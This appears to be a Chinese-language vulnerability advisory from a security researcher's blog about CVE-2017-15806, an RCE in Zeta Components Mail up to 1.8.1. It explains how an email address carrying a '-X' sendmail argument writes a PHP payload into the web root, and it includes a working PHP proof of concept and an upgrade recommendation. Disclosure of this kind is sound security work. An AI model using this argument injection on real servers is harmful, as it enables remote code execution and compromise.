Kay

security researcher @MalwareBenchmark.

CVE-2017-15806: 远程代码执行漏洞

English report, please click this

厂商: Zeta Components

模块: Mail, <= 1.8.1

发布时间:2017/11/12

作者: Kay

CVE-2017-15806

概览

Zeta Components是一个基于PHP 5实现的高质量的、通用的应用程序开发库,该项目于2010年5月加入Apache Incubator,但因为某些原因于2012年4月离开了Apache软件基金会。我们在Mail库中发现一个RCE(Remote Code Execution,远程代码执行)漏洞,可实现在服务器上执行任意代码。

细节

该漏洞位于ezcMailMtaTransport类中的send函数。

/src/transports/mta/mta_transport.php 的73行, send() 函数调用 PHP mail() 来发送邮件, 一般来说,PHP会使用sendmail作为默认的MTA. 当mail()函数被调用的时候,它的第五个参数是$additionalParameters,这个参数允许向sendmail传入额外的参数。在Mail中,给$additionalParameters赋值的代码如下所示:

$additionalParameters = "-f{$mail->returnPath->email}”;

如果攻击者传入的邮箱地址是这样:

'kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php'

然后再把payload放在邮件正文中,sendmail会把日志写入到/var/www/html/cache/exploit.php中(向sendmail传入-Xlogfile,会写入日志到logfile)。这就导致该文件会包含邮件正文中的payload,通过远程访问 #域名#/cache/exploit.php就能够执行payload。

总的来说,该漏洞利用需要满足以下三个条件:

  1. 使用ezcMailMtaTransport
  2. 使用sendmail作为MTA
  3. ezcMailAddress未做正确转义。

PoC

1
2
3
4
5
6
7
8
9
 use Mail\mail;

 $mail = new ezcMail();
 $mail->returnPath = new ezcMailAddress('kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php');
 $mail->addTo( new ezcMailAddress('some one'));
 $mail->subject = "Mail PoC Exploit";
 $mail->body = new ezcMailText("<?php phpinfo(); ?>");
 $transport = new ezcMailMtaTransport();
 $transport->send($mail);

建议

厂商已发布修复补丁,建议升级Mail到1.8.2

漏洞

« CVE-2017-15806: Critical RCE vulnerability Ruby on Rails arbitrary SQL Injection »